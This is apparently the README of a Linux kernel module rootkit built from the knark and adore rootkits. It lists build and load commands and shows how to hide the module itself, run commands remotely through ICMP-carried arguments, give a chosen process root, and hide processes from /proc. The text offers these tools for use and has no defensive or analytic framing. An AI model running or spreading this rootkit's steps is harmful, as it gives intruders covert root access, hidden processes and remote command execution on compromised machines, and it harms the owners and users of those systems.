
This thing works on a 2.2.x kernel .. i'll try to port it to a 2.4.x kernel
later .. 

how does it work ?

$ make
cc -Wall -O2 -Wstrict-prototypes -fomit-frame-pointer -pipe -fno-strength-reduce -malign-loops=2 -malign-jumps=2 -malign-functions=2 -include /usr/src/linux/include/linux/modversions.h -I/usr/src/linux/include -c ilkm.c -o ilkm.o -D__KERNEL__ -DMODULE -DMODVERSIONS
cc -Wall -O2 -o myt00l myt00l.c
cc -Wall -O2 -o rexec rexec.c 
$ make on
(or insmod ilkm.o)
$ insmod cleaner.o
to hide the kernel module
$ make off
(or rmmod ilkm)
$ ./rexec localhost localhost /bin/touch /tmp/fearthatlkm
(that uses raw sockets: r00t only.)
$ ./myt00l r00t <pid>
make this processus root
$ ./myt00l hide <pid>
"hide" (hide /proc processus entry) a processus
$ ./myt00l uhide <pid>
"unhide" a processus

/*
** and remember: I'm not the author of this code. No. I'm just a lamer who
** ripped the code (which i don't understand) and change 2 or 3 variable.
** So don't think i am what i am not. I m just a learner who wanted to do
** "his" loadable kernel module, with remote execution (passing argv by icmp)
**
** I used knark 0.59 and adore for the dev. I also thank one person for the
** vmware advice (i m a lame who codded on his computer without any protection)
**
** My coding is lame, i know that, i m not a coder .. whatever.
** My english is lame, i know that too, i m not english.
** 
** Don't contact me, i m a lame.
*/
